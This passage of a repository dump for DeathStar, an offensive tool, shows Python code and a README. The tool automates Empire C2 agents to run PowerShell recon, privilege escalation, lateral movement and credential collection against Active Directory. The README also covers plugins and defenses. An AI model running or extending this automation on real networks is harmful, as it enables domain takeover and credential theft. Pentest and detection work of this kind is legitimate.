82 | return self.data[domain]["recon_performed"] 83 | -------------------------------------------------------------------------------- /deathstar/utils.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | from rich import print 4 | from argparse import RawTextHelpFormatter, RawDescriptionHelpFormatter 5 | 6 | log = logging.getLogger("deathstar.utils") 7 | 8 | 9 | class CustomArgFormatter(RawTextHelpFormatter, RawDescriptionHelpFormatter): 10 | pass 11 | 12 | 13 | def beautify_json(obj) -> str: 14 | return "\n" + json.dumps(obj, sort_keys=True, indent=4, separators=(",", ": ")) 15 | 16 | 17 | def posh_object_parser(output): 18 | parsed_output = [] 19 | 20 | blocks = list(filter(len, output.split("\r\n\r\n"))) 21 | if blocks[-1].lower().find("completed") > 0: 22 | blocks.pop() 23 | 24 | for block in blocks: 25 | parsed_block = {} 26 | for entry in block.split("\r\n"): 27 | try: 28 | key, value = entry.split(":", 1) 29 | except ValueError: 30 | previous_key = list(parsed_block.keys())[-1] 31 | previous_value = parsed_block[previous_key] 32 | parsed_block[previous_key] = previous_value + entry.strip() 33 | else: 34 | parsed_block[key.strip().lower()] = value.strip() 35 | 36 | parsed_output.append(parsed_block) 37 | 38 | return parsed_output 39 | 40 | 41 | def posh_table_parser(output): 42 | parsed_output = [] 43 | 44 | blocks = list(filter(len, output.splitlines())) 45 | if blocks[-1].lower().find("completed") > 0: 46 | blocks.pop() 47 | 48 | title = blocks[0] 49 | word_start_positions = [] 50 | for index, char in enumerate(title): 51 | if index == 0 and char != " ": 52 | word_start_positions.append(index) 53 | elif char != " " and title[index - 1] == " ": 54 | word_start_positions.append(index) 55 | 56 | keys = title.split() 57 | word_pos_to_key = {k: v.lower() for k, v in zip(word_start_positions, keys)} 58 | blocks = blocks[2:] 59 | 60 | for row in blocks: 61 | parsed_row_values = {} 62 | for start_pos in word_start_positions: 63 | for index, char in enumerate(row): 64 | if index == start_pos: 65 | if char == " ": 66 | parsed_row_values[word_pos_to_key[start_pos]] = "" 67 | break 68 | 69 | if index > start_pos: 70 | if index == (len(row) - 1) and char != " ": 71 | parsed_row_values[word_pos_to_key[start_pos]] = row[ 72 | start_pos : index + 1 73 | ] 74 | break 75 | 76 | if char == " " and row[index - 1] != " ": 77 | parsed_row_values[word_pos_to_key[start_pos]] = row[ 78 | start_pos:index 79 | ] 80 | break 81 | 82 | parsed_output.append(parsed_row_values) 83 | 84 | return parsed_output 85 | 86 | 87 | def print_win_banner(): 88 | print("\n") 89 | print("[yellow]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[/yellow]") 90 | print("[yellow]=-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[/yellow]") 91 | print("[yellow]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=[/yellow]") 92 | print("\n") 93 | -------------------------------------------------------------------------------- /deathstar/kybercrystals.py: -------------------------------------------------------------------------------- 1 | import os 2 | import importlib 3 | import logging 4 | import pathlib 5 | import pkg_resources 6 | from rich.logging import RichHandler 7 | from contextvars import ContextVar 8 | 9 | log = logging.getLogger("deathstar.kybercrystals") 10 | 11 | 12 | class KyberCrystalException(Exception): 13 | pass 14 | 15 | 16 | class KyberContextFilter(logging.Filter): 17 | AgentVar = ContextVar("agent") 18 | 19 | def filter(self, record): 20 | agent = KyberContextFilter.AgentVar.get() 21 | record.agent = agent.name 22 | record.agent_username = agent.username 23 | return True 24 | 25 | 26 | def kyberlogger(func, name): 27 | async def wrapper(*args, **kwargs): 28 | agent = args[0] or kwargs.get("agent") 29 | log = logging.getLogger(f"deathstar.kybercrystals.{name}") 30 | log.filters[0].AgentVar.set(agent) 31 | log.debug(f"Running {name}") 32 | return await func(*args, **kwargs) 33 | 34 | return wrapper 35 | 36 | 37 | class KyberCrystals: 38 | def __init__(self, deathstar): 39 | self.deathstar = deathstar 40 | self.crystal_location = pathlib.Path( 41 | pkg_resources.resource_filename(__name__, "crystals") 42 | ) 43 | 44 | self.loaded = [] 45 | self.get_crystals() 46 | 47 | def is_sane(self, module): 48 | if not hasattr(module, "crystallize"): 49 | raise KyberCrystalException( 50 | "Crystal does not contain a 'crystallize' coroutine" 51 | ) 52 | 53 | def load(self, path): 54 | module_spec = importlib.util.spec_from_file_location("crystal", path) 55 | module = importlib.util.module_from_spec(module_spec) 56 | module_spec.loader.exec_module(module) 57 | self.is_sane(module) 58 | return module 59 | 60 | def get_crystals(self): 61 | log_filter = KyberContextFilter() 62 | handler = RichHandler() 63 | handler.setFormatter( 64 | logging.Formatter( 65 | "[{name}] Agent: {agent} User: {agent_username} => {message}", 66 | style="{" 67 | ) 68 | ) 69 | 70 | for root, _, files in os.walk(self.crystal_location): 71 | for crystal in files: 72 | crystal_file = self.crystal_location / root / crystal 73 | if ( 74 | crystal_file.suffix == ".py" 75 | and not crystal_file.stem == "example" 76 | and not crystal_file.stem.startswith("__") 77 | and crystal_file.name != "__init__.py" 78 | ): 79 | try: 80 | c = self.load(crystal_file) 81 | c.deathstar = self.deathstar 82 | c.log = logging.getLogger( 83 | f"deathstar.kybercrystals.{crystal_file.stem}" 84 | ) 85 | c.log.propagate = False 86 | c.log.addHandler(handler) 87 | c.log.addFilter(log_filter) 88 | 89 | self.loaded.append(c) 90 | except Exception as e: 91 | log.error(f'Failed loading "{crystal_file}": {e}') 92 | 93 | log.debug(f"Loaded {len(self.loaded)} kyber crystal(s)") 94 | 95 | def __getattr__(self, name): 96 | for crystal in self.loaded: 97 | if name == pathlib.Path(crystal.__file__).stem: 98 | return kyberlogger(crystal.crystallize, name) 99 | raise KyberCrystalException(f"'{name}' crystal does not exist") 100 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DeathStar 2 | 3 |

4 | DeathStar 5 |

6 | 7 | DeathStar is a Python script that uses [Empire's](https://github.com/BC-SECURITY/Empire) RESTful API to automate gaining Domain and/or Enterprise Admin rights in Active Directory environments using some of the most common offensive TTPs. 8 | 9 | # Table of Contents 10 | - [DeathStar](#deathstar) 11 | * [Motivation](#motivation) 12 | * [New Features](#new-features) 13 | * [Official Discord Channel](#official-discord-channel) 14 | * [Installation](#installation) 15 | + [Docker](#docker) 16 | + [Python Package](#python-package) 17 | + [Development Install](#development-install) 18 | * [Usage](#usage) 19 | * [Extending Functionality](#extending-functionality) 20 | + [Kyber Crystals](#kyber-crystal-plugin-system) 21 | + [Creating Kyber Crystals](#creating-kyber-crystals) 22 | + [Crystal Injection](#crystal-injection) 23 | * [Defense & Detection](#defense--detection) 24 | * [Feature Roadmap & Interest Check](#feature-roadmap--interest-check) 25 | 26 | ## Motivation 27 | 28 | The primary motivation behind the creation of this was to demonstrate how a lot of the commonly exploited Active Directory misconfiguration can be chained together to gain Administrator level privileges in an automated fashion (akin to a worm). 29 | 30 | While there are definitely a lot more things that could be taken advantage of (including server side vulnerabilities such as MS17-010), DeathStar mainly focuses on exploiting misconfigurations/vulnerabilities which have a very low probability of causing any sort of system/network stability issues. 31 | 32 | Version 0.2.0 is a complete re-write of the original, implements a [plugin system](#kyber-crystals) (among lots of [other things](#new-features)) which allows anyone to extend it's functionality if so desired. 33 | 34 | Additionally, it now supports Active Directory environments with multiple Forests/Domains and has an "Active Monitoring" feature which allows it to adapt it's attack path based on real-time changes in the network. 35 | 36 | ## New Features 37 | 38 | Version 0.2.0 is a complete re-write of the original DeathStar script which I released in 2017. 39 | 40 | Here's a complete list of the new and shiny things: 41 | 42 | - Completely Asynchronous (uses AsyncIO) 43 | - Has the ability to get Domain Admin & Enterprise Admin rights (as supposed to just Domain Admin rights) 44 | - Supports environments with Multiple Active Directory Domains & Forests 45 | - Implements the Kyber Crystal Plugin system that allows anybody to extend it's functionality. 46 | - Active Monitoring: this allows DeathStar to poll all compromised machines for new logins and adapt attack paths accordingly. 47 | - Uses the [BC-Security Empire Fork](https://github.com/BC-SECURITY/Empire) 48 | 49 | ## Installation 50 | 51 | The author recommends using Docker or PipX. 52 | 53 | ### Docker 54 | 55 | ``` 56 | docker run --rm -it byt3bl33d3r/deathstar -u -p --api-host 57 | ``` 58 | 59 | Since Empire has a Docker image, you could totally write Docker Compose file to get both up and running instantly :) 60 | 61 | ### Python Package 62 | 63 | **This project is available on Pypi under the name `deathstar-empire` because someone else aleady has a project called deathstar** 64 | 65 | ``` 66 | python3 -m pip install --user pipx 67 | pipx install deathstar-empire 68 | ``` 69 | 70 | ### Development Install 71 | 72 | You should only be installing DeathStar this way if you intend to hack on the source code. You're going to Python 3.8+ and [Poetry](https://python-poetry.org/). Please refer to the Poetry installation documentation in order to install it. 73 | 74 | ```console 75 | git clone https://github.com/byt3bl33d3r/DeathStar && cd DeathStar 76 | poetry install 77 | ``` 78 | 79 | ## Usage 80 | 81 | First, you're going to need to install [BC-Security's Empire fork](ttps://github.com/BC-SECURITY/Empire), please refer to it's documentation on how to get it installed. 82 | 83 | You then need to start Empire with it's RESTful API enabled, you should also specify a username and password as this is needed for DeathStar to interact with it. 84 | 85 | ``` 86 | python empire --rest --username --password 87 | ``` 88 | 89 | Point DeathStar to Empire and give it the same credentials you specified before. By default, it'll attempt to find Empire's RESTful API on the loopback interface, you can override this using the ```--api-host``` flag. 90 | 91 | ``` 92 | deathstar -u -p --api-host 93 | ``` 94 | 95 | DeathStar will login to Empire's API and automatically start a listener for you. Now all you have to do is get an Empire agent on a box! DeathStar will immediately take over and do it's thang. 96 | 97 | ## Extending Functionality 98 | 99 | The DeathStar is powered by Kyber Crystals! The Kyber Crystal Plugin System allows anyone to extend DeathStar's functionality and enable it to use any of Empire's available modules. 100 | 101 | After creating a Kyber crystal, you have to inject the crystal into Deathstar's reactor using a process called Crystal Injection (this is currently a manual process, see the [appropriate section](#crystal-injection)). 102 | 103 | ## Kyber Crystal Plugin System 104 | 105 | Kyber Crystals serve as an abstraction layer between Empire's module output and DeathStar's internal logic. In practical terms, they're responsible for initiating the HTTP API calls to run an Empire module, parse their output and return structured data (JSON) that DeathStar's internal logic can use. 106 | 107 | ## Creating Kyber Crystals 108 | 109 | A Kyber Crystal is made up of a single Python file which defines an entry coroutine (asynchronous function) named `crystallize`. 110 | 111 | This function **must** be coroutine and have the ```async``` keyword. Additionally, it's first argument must always be the Empire Agent Object to run the module on. 112 | 113 | Kyber Crystals are automatically loaded on runtime from the `crystals` folder and are organized by the task performed and the empire module they run & parse. 114 | 115 | Since an example is worth a thousand words, below is the Kyber Crystal code responsible for running the `get_domain_controller` Empire module and can be found in the `deathstar/crystals/recon/get_domain_controller.py` file: 116 | 117 | ```python 118 | from deathstar.utils import posh_object_parser, beautify_json 119 | 120 | 121 | async def crystallize(agent): 122 | output = await agent.execute( 123 | "powershell/situational_awareness/network/powerview/get_domain_controller" 124 | ) 125 | 126 | results = output["results"] 127 | parsed_obj = posh_object_parser(results) 128 | log.debug(beautify_json(parsed_obj)) 129 | return parsed_obj 130 | ``` 131 | 132 | As of writing, Empire modules output non-structured data in the form of "stringified" PowerShell Objects or Tables. This is where the `posh_object_parser` and `post_table_parser` functions come in and take care of turning those PoSH objects/tables into JSON (the code for these functions is awful, don't look at it). 133 | 134 | These functions don't account for every edge case, so if you see some values missing in the returned JSON you're probably going to have to parse the module output manually. 135 | 136 | The end result is the coroutine returning the JSON output to be parsed by DeathStar's internal logic. 137 | 138 | The `log` variable is injected at runtime into each plugin for debugging purposes. You can enable debug output by passing the ```--debug``` flag to DeathStar. 139 | 140 | ## Crystal Injection 141 | 142 | Once you created your Kyber Crystal you need to inject it into the reactor so it can be part of the "pwning process". As of writing this has to be done a manually and involves modifying the code in the main `deathstar.py` file. 143 | 144 | In the `deathstar.py` file there's a `DeathStar` class which has 4 async methods (coroutines), which are responsible for most of the internal logic. Depending on what your Kyber Crystal does, you're probably going to want to run it within one of these 4 coroutines: 145 | 146 | - `planetary_recon`: Recon coroutine responsible for performing the initial domain information gathering 147 | - `launch_hunter_killers`: Domain Privesc coroutine, executes the domain privesc stuff 148 | - `galaxy_conquest`: Lateral movement coroutine 149 | - `fire_mission`: Active Monitoring coroutine, this polls each agent for new logins, performs process injection and prioritizes high-value targets (e.g. machines with admins logged in) 150 | 151 | Could have I made this easier? Yes, but it would have required a ton more work and honestly I don't have any clue if people are even interested in this. See the [Feature Roadmap & Interest Check]() section. 152 | 153 | ## Defense & Detection 154 | 155 | DeathStar merely automates Empire, so to detect DeathStar you need to detect Empire. Consequentially your standard "Offensive PowerShell Tradecraft" defenses and detections apply. 156 | 157 | Generally speaking, this involves making sure you have an EDR solution with AMSI integration, have PowerShell Logging enabled (ScriptBlock, Module and Transcription level logging) and if possible enable PowerShell Constrained Language Mode. While none of these defenses are "bullet-proof" they significantly raise the bar and make life harder for attackers. Defense in depth is the key here. 158 | 159 | **DeathStar, by default, does not enable any of the AMSI/Logging bypasses that Empire has and doesn't enable any setting(s) that could aid in evading any of the modern PowerShell defenses.** 160 | 161 | If someone using DeathStar doesn't know what they're doing, they'll get caught the second they launch the initial Empire Agent on any modern Windows 10 system. 162 | 163 | ## Feature Roadmap & Interest Check 164 | 165 | There's a lot that could be done with DeathStar, the dream would be to have a tool which can aid in Threat Hunting. It can definitely still be used for Offensive purposes during pentests but I'm seeing the future of this being a "Purple Team" tool. 166 | 167 | Some of the main features I'd love would be: 168 | 169 | - Configuration file to allow tweaking some of Empire's settings regarding evasion. 170 | - Have YAML "Playbooks" which would allow users to select which TTPs/Empire Modules to use during the "pwning" process. 171 | - Make an easier way to add Kyber Crystals to the main logic (without requiring code modifications) 172 | 173 | These would all require a ton more work, and I'm not even sure if people find this useful as it is. If you like the idea and think it could be useful, feel free to ping me on [Twitter](https://twitter.com/home), [sponsor me on Github](https://github.com/sponsors/byt3bl33d3r/) or send a PR. 174 | -------------------------------------------------------------------------------- /deathstar/empire.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import asyncio 3 | import httpx 4 | import json 5 | 6 | log = logging.getLogger("deathstar.empire") 7 | 8 | class EmpireLoginError(Exception): 9 | pass 10 | 11 | 12 | class EmpireAgentNotFoundError(Exception): 13 | pass 14 | 15 | 16 | class EmpireModuleExecutionTimeout(Exception): 17 | pass 18 | 19 | 20 | class EmpireModuleExecutionError(Exception): 21 | pass 22 | 23 | 24 | class EmpireObjectEncoder(json.JSONEncoder): 25 | def default(self, obj): 26 | if isinstance(obj, EmpireAgent): 27 | return obj.session_id 28 | if isinstance(obj, EmpireModule): 29 | return obj.name 30 | 31 | return json.JSONEncoder.default(self, obj) 32 | 33 | json._default_encoder = EmpireObjectEncoder() 34 | 35 | class EmpireApi: 36 | def __init__(self, api): 37 | self.api = api 38 | self.client = api.client 39 | 40 | 41 | class EmpireObject(EmpireApi): 42 | def __init__(self, api, raw_object): 43 | super().__init__(api) 44 | self._raw = raw_object 45 | for k, v in raw_object.items(): 46 | setattr(self, k.lower(), v) 47 | 48 | 49 | class EmpireModule(EmpireObject): 50 | def __init__(self, api, raw_object): 51 | super().__init__(api, raw_object) 52 | del self.options["Agent"] 53 | 54 | async def execute(self, agent, timeout=10): 55 | return await self.api.modules.execute(self.name, agent, self.options, timeout) 56 | 57 | def __str__(self): 58 | return self.name 59 | 60 | 61 | class EmpireCredential(EmpireObject): 62 | @property 63 | def pretty_username(self): 64 | return f"{self.domain}\\{self.username}" 65 | 66 | def __str__(self): 67 | return self.id 68 | 69 | 70 | class EmpireAgent(EmpireObject): 71 | @property 72 | def domain(self): 73 | domain, user = self.username.split("\\") 74 | if domain != self.hostname and user != "SYSTEM": 75 | return domain.upper() 76 | return "" 77 | 78 | async def shell_nowait(self, cmd): 79 | return await self.api.agents.shell_nowait(cmd, self.session_id) 80 | 81 | async def shell(self, cmd, timeout=10): 82 | return await self.api.agents.shell(cmd, self.session_id, timeout) 83 | 84 | async def execute_nowait(self, module, options): 85 | return await self.api.modules.execute_nowait(module, self.session_id, options) 86 | 87 | async def execute(self, module, options={}, timeout=10): 88 | return await self.api.modules.execute(module, self.session_id, options, timeout) 89 | 90 | async def results(self, delete=False): 91 | return await self.api.agents.results(self.session_id, delete) 92 | 93 | async def kill(self): 94 | return await self.api.agents.kill(self.session_id) 95 | 96 | async def rename(self, new_name): 97 | r = await self.api.agents.rename(self.session_id, new_name) 98 | self.name = new_name 99 | return r 100 | 101 | async def task(self, task_id): 102 | return await self.api.agents.task(self.session_id, task_id) 103 | 104 | def __str__(self): 105 | return self.session_id 106 | 107 | 108 | class EmpireUtils(EmpireApi): 109 | """ 110 | Helper coroutines that try to take the quirkyness out of Empire's HTTP API 111 | """ 112 | 113 | async def agent_has_staged(self, agent_data): 114 | """ 115 | Empire API returns agents even when they haven't finished staging yet... 116 | """ 117 | 118 | if ( 119 | not agent_data["username"] 120 | or not agent_data["hostname"] 121 | or not agent_data["os_details"] 122 | ): 123 | return False 124 | return True 125 | 126 | async def poll_for_task_results(self, module, agent, timeout, task): 127 | """ 128 | This will block until a specific task has a valid result 129 | """ 130 | 131 | if "error" in task: 132 | raise EmpireModuleExecutionError( 133 | f"Error executing module/command '{module}': {task['error']}" 134 | ) 135 | elif task["success"] == False: 136 | raise EmpireModuleExecutionError( 137 | f"Error executing module/command '{module}': {task['msg']}" 138 | ) 139 | 140 | task_id = task["taskID"] 141 | 142 | n = 0 143 | while True: 144 | task = await self.api.agents.task(agent, task_id) 145 | 146 | if task["results"] != None and not task["results"].startswith( 147 | "Job started" 148 | ): 149 | log.debug(f"Agent {agent} returned results for task {task_id}") 150 | return task 151 | 152 | if timeout != -1: 153 | if n > timeout: 154 | break 155 | n = +1 156 | 157 | await asyncio.sleep(1) 158 | 159 | raise EmpireModuleExecutionTimeout( 160 | f"Retrieving results for module/command '{module}' with taskID {task_id} exceeded timeout" 161 | ) 162 | 163 | 164 | class EmpireEvents(EmpireApi): 165 | async def all(self): 166 | r = await self.client.get("reporting") 167 | return r.json()["reporting"] 168 | 169 | async def agent(self, agent): 170 | r = await self.client.get(f"reporting/agent/{agent}") 171 | return r.json()["reporting"] 172 | 173 | async def type(self, type): 174 | r = await self.client.get(f"reporting/type/{type}") 175 | return r.json()["reporting"] 176 | 177 | async def message(self, msg): 178 | r = await self.client.get(f"reporting/msg/{msg}") 179 | return r.json()["reporting"] 180 | 181 | 182 | class EmpireCredentials(EmpireApi): 183 | async def get(self): 184 | r = await self.client.get("creds") 185 | return [EmpireCredential(self.api, cred) for cred in r.json()["creds"]] 186 | 187 | 188 | class EmpireModules(EmpireApi): 189 | def __init__(self, api): 190 | super().__init__(api) 191 | self._execute_lock = asyncio.Lock() 192 | 193 | async def get(self, module): 194 | r = await self.client.get(f"modules/{module}") 195 | return EmpireModule(self.api, r.json()["modules"][0]) 196 | 197 | async def search(self, term): 198 | r = await self.client.post(f"modules/search", json={"term": term}) 199 | return [EmpireModule(self.api, module) for module in r.json()["modules"]] 200 | 201 | async def execute_nowait(self, module, agent, options={}): 202 | """ 203 | Ok, so you're probably wondering what in the kentucky fried fuck is the lock for the HTTP POST request all about. 204 | 205 | Empire wasn't designed to handle concurrent HTTP API requests as it interacts on the 206 | same underlying Python object(s) on each request (No locking or anything is present). 207 | 208 | Meaning that if we make 2 (or more) concurrent API requests to execute the same module with diffrent options, 209 | the requests will override each others options. Fun times 🤦‍♂️ 210 | 211 | Since I have no intention of re-writing Empire, the quick fix is to add a mutex lock 212 | in order to make this work as intended when we use this coroutine with asyncio.gather() calls. 213 | """ 214 | 215 | async with self._execute_lock: 216 | r = await self.client.post( 217 | f"modules/{module}", json={"Agent": agent, **options} 218 | ) 219 | return r.json() 220 | 221 | async def execute(self, module, agent, options={}, timeout=10): 222 | task = await self.execute_nowait(module, agent, options) 223 | return await self.api.utils.poll_for_task_results(module, agent, timeout, task) 224 | 225 | 226 | class EmpireAgents(EmpireApi): 227 | def __init__(self, api): 228 | super().__init__(api) 229 | self._execute_lock = asyncio.Lock() 230 | 231 | async def get(self, agent=None): 232 | if agent: 233 | r = await self.client.get(f"agents/{agent}") 234 | agent_data = r.json()["agents"][0] 235 | if await self.api.utils.agent_has_staged(agent_data): 236 | return EmpireAgent(self.api, agent_data) 237 | else: 238 | r = await self.client.get("agents") 239 | return [ 240 | EmpireAgent(self.api, result) 241 | for result in r.json()["agents"] 242 | if await self.api.utils.agent_has_staged(result) 243 | ] 244 | 245 | async def stale(self, delete=False): 246 | if delete: 247 | r = await self.client.delete("agents/stale") 248 | else: 249 | r = await self.client.get("agents/stale") 250 | return r.json() 251 | 252 | async def shell_nowait(self, cmd, agent): 253 | # I'm not sure if we need the lock here too but better safe then sorry 254 | async with self._execute_lock: 255 | r = await self.client.post(f"agents/{agent}/shell", json={"command": cmd}) 256 | return r.json() 257 | 258 | async def shell(self, cmd, agent, timeout=10): 259 | task = await self.shell_nowait(cmd, agent) 260 | return await self.api.utils.poll_for_task_results(cmd, agent, timeout, task) 261 | 262 | async def remove(self, agent): 263 | r = await self.client.delete(f"agents/{agent}") 264 | return r.json() 265 | 266 | async def rename(self, agent, new_name): 267 | r = await self.client.post(f"agents/{agent}/rename", json={"newname": new_name}) 268 | return r.json() 269 | 270 | async def results(self, agent, delete=False): 271 | if delete: 272 | r = await self.client.delete(f"agents/{agent}/results") 273 | return r.json() 274 | 275 | r = await self.client.get(f"agents/{agent}/results") 276 | return r.json()["results"][0]["AgentResults"] 277 | 278 | async def task(self, agent, task_id): 279 | r = await self.client.get(f"agents/{agent}/task/{task_id}") 280 | return r.json() 281 | 282 | async def kill(self, agent): 283 | r = await self.client.get(f"agents/{agent}/kill") 284 | return r.json() 285 | 286 | 287 | class EmpireListeners(EmpireApi): 288 | async def get(self, listener=None): 289 | url = f"listeners/{listener}" if listener else "listeners" 290 | r = await self.client.get(url) 291 | return r.json() 292 | 293 | async def options(self, listener_type="http"): 294 | r = await self.client.get(f"listeners/options/{listener_type}") 295 | return r.json() 296 | 297 | async def create(self, listener_type="http", name="DeathStar", additional={}): 298 | r = await self.client.post( 299 | f"listeners/{listener_type}", json={"Name": name, **additional} 300 | ) 301 | 302 | return r.json()["success"] 303 | 304 | async def kill(self, listener): 305 | r = await self.client.delete(f"listeners/{listener}") 306 | return r.json() 307 | 308 | 309 | class EmpireApiClient: 310 | def __init__(self, host="localhost", port="1337"): 311 | self.client = httpx.AsyncClient( 312 | base_url=f"https://{host}:{port}/api/", verify=False 313 | ) 314 | self.credentials = EmpireCredentials(self) 315 | self.listeners = EmpireListeners(self) 316 | self.agents = EmpireAgents(self) 317 | self.modules = EmpireModules(self) 318 | self.events = EmpireEvents(self) 319 | self.utils = EmpireUtils(self) 320 | 321 | async def login(self, username, password): 322 | r = await self.client.post( 323 | "admin/login", json={"username": username, "password": password} 324 | ) 325 | 326 | if r.status_code == 401: 327 | raise EmpireLoginError("Unable to login, credentials invalid") 328 | 329 | self.client.params = {"token": r.json()["token"]} 330 | 331 | async def close(self): 332 | await self.client.aclose() 333 | -------------------------------------------------------------------------------- /requirements-dev.txt: -------------------------------------------------------------------------------- 1 | appdirs==1.4.4; python_version >= "3.6" \ 2 | --hash=sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128 \ 3 | --hash=sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41 4 | astroid==2.4.2; python_version >= "3.5" \ 5 | --hash=sha256:bc58d83eb610252fd8de6363e39d4f1d0619c894b0ed24603b881c02e64c7386 \ 6 | --hash=sha256:2f4078c2a41bf377eea06d71c9d2ba4eb8f6b1af2135bec27bbbb7d8f12bb703 7 | atomicwrites==1.4.0; python_version >= "3.6" and python_full_version < "3.0.0" and sys_platform == "win32" or sys_platform == "win32" and python_version >= "3.6" and python_full_version >= "3.4.0" \ 8 | --hash=sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197 \ 9 | --hash=sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a 10 | attrs==20.3.0; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 11 | --hash=sha256:31b2eced602aa8423c2aea9c76a724617ed67cf9513173fd3a4f03e3a929c7e6 \ 12 | --hash=sha256:832aa3cde19744e49938b91fea06d69ecb9e649c93ba974535d08ad92164f700 13 | black==20.8b1; python_version >= "3.6" \ 14 | --hash=sha256:70b62ef1527c950db59062cda342ea224d772abdf6adc58b86a45421bab20a6b \ 15 | --hash=sha256:1c02557aa099101b9d21496f8a914e9ed2222ef70336404eeeac8edba836fbea 16 | certifi==2020.12.5; python_version >= "3.6" \ 17 | --hash=sha256:719a74fb9e33b9bd44cc7f3a8d94bc35e4049deebe19ba7d8e108280cfd59830 \ 18 | --hash=sha256:1a4995114262bffbc2413b159f2a1a480c969de6e6eb13ee966d470af86af59c 19 | click==7.1.2; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.5.0" and python_version >= "3.6" \ 20 | --hash=sha256:dacca89f4bfadd5de3d7489b7c8a566eee0d3676333fbb50030263894c38c0dc \ 21 | --hash=sha256:d2b5255c7c6349bc1bd1e59e08cd12acbbd63ce649f2588755783aa94dfb6b1a 22 | colorama==0.4.4; python_version >= "3.6" and python_full_version < "3.0.0" and python_version < "4.0" and sys_platform == "win32" or python_version >= "3.6" and python_version < "4.0" and python_full_version >= "3.5.0" and sys_platform == "win32" \ 23 | --hash=sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2 24 | commonmark==0.9.1; python_version >= "3.6" and python_version < "4.0" \ 25 | --hash=sha256:da2f38c92590f83de410ba1a3cbceafbc74fee9def35f9251ba9a971d6d66fd9 \ 26 | --hash=sha256:452f9dc859be7f06631ddcb328b6919c67984aca654e5fefb3914d54691aed60 27 | flake8==3.8.4; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.4.0") \ 28 | --hash=sha256:749dbbd6bfd0cf1318af27bf97a14e28e5ff548ef8e5b1566ccfb25a11e7c839 \ 29 | --hash=sha256:aadae8761ec651813c24be05c6f7b4680857ef6afaae4651a4eccaef97ce6c3b 30 | h11==0.11.0; python_version >= "3.6" \ 31 | --hash=sha256:ab6c335e1b6ef34b205d5ca3e228c9299cc7218b049819ec84a388c2525e5d87 \ 32 | --hash=sha256:3c6c61d69c6f13d41f1b80ab0322f1872702a3ba26e12aa864c928f6a43fbaab 33 | httpcore==0.12.2; python_version >= "3.6" \ 34 | --hash=sha256:420700af11db658c782f7e8fda34f9dcd95e3ee93944dd97d78cb70247e0cd06 \ 35 | --hash=sha256:dd1d762d4f7c2702149d06be2597c35fb154c5eff9789a8c5823fbcf4d2978d6 36 | httpx==0.16.1; python_version >= "3.6" \ 37 | --hash=sha256:9cffb8ba31fac6536f2c8cde30df859013f59e4bcc5b8d43901cb3654a8e0a5b \ 38 | --hash=sha256:126424c279c842738805974687e0518a94c7ae8d140cd65b9c4f77ac46ffa537 39 | idna==2.10; python_version >= "3.6" and python_full_version < "3.0.0" or python_version >= "3.6" and python_full_version >= "3.4.0" \ 40 | --hash=sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0 \ 41 | --hash=sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6 42 | iniconfig==1.1.1; python_version >= "3.6" \ 43 | --hash=sha256:011e24c64b7f47f6ebd835bb12a743f2fbe9a26d4cecaa7f53bc4f35ee9da8b3 \ 44 | --hash=sha256:bc3af051d7d14b2ee5ef9969666def0cd1a000e121eaea580d4a313df4b37f32 45 | isort==5.6.4; python_version >= "3.6" and python_version < "4.0" \ 46 | --hash=sha256:dcab1d98b469a12a1a624ead220584391648790275560e1a43e54c5dceae65e7 \ 47 | --hash=sha256:dcaeec1b5f0eca77faea2a35ab790b4f3680ff75590bfcb7145986905aab2f58 48 | lazy-object-proxy==1.4.3; python_version >= "3.5" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.5" \ 49 | --hash=sha256:f3900e8a5de27447acbf900b4750b0ddfd7ec1ea7fbaf11dfa911141bc522af0 \ 50 | --hash=sha256:a2238e9d1bb71a56cd710611a1614d1194dc10a175c1e08d75e1a7bcc250d442 \ 51 | --hash=sha256:efa1909120ce98bbb3777e8b6f92237f5d5c8ea6758efea36a473e1d38f7d3e4 \ 52 | --hash=sha256:4677f594e474c91da97f489fea5b7daa17b5517190899cf213697e48d3902f5a \ 53 | --hash=sha256:0c4b206227a8097f05c4dbdd323c50edf81f15db3b8dc064d08c62d37e1a504d \ 54 | --hash=sha256:d945239a5639b3ff35b70a88c5f2f491913eb94871780ebfabb2568bd58afc5a \ 55 | --hash=sha256:9651375199045a358eb6741df3e02a651e0330be090b3bc79f6d0de31a80ec3e \ 56 | --hash=sha256:eba7011090323c1dadf18b3b689845fd96a61ba0a1dfbd7f24b921398affc357 \ 57 | --hash=sha256:48dab84ebd4831077b150572aec802f303117c8cc5c871e182447281ebf3ac50 \ 58 | --hash=sha256:ca0a928a3ddbc5725be2dd1cf895ec0a254798915fb3a36af0964a0a4149e3db \ 59 | --hash=sha256:194d092e6f246b906e8f70884e620e459fc54db3259e60cf69a4d66c3fda3449 \ 60 | --hash=sha256:97bb5884f6f1cdce0099f86b907aa41c970c3c672ac8b9c8352789e103cf3156 \ 61 | --hash=sha256:cb2c7c57005a6804ab66f106ceb8482da55f5314b7fcb06551db1edae4ad1531 \ 62 | --hash=sha256:8d859b89baf8ef7f8bc6b00aa20316483d67f0b1cbf422f5b4dc56701c8f2ffb \ 63 | --hash=sha256:1be7e4c9f96948003609aa6c974ae59830a6baecc5376c25c92d7d697e684c08 \ 64 | 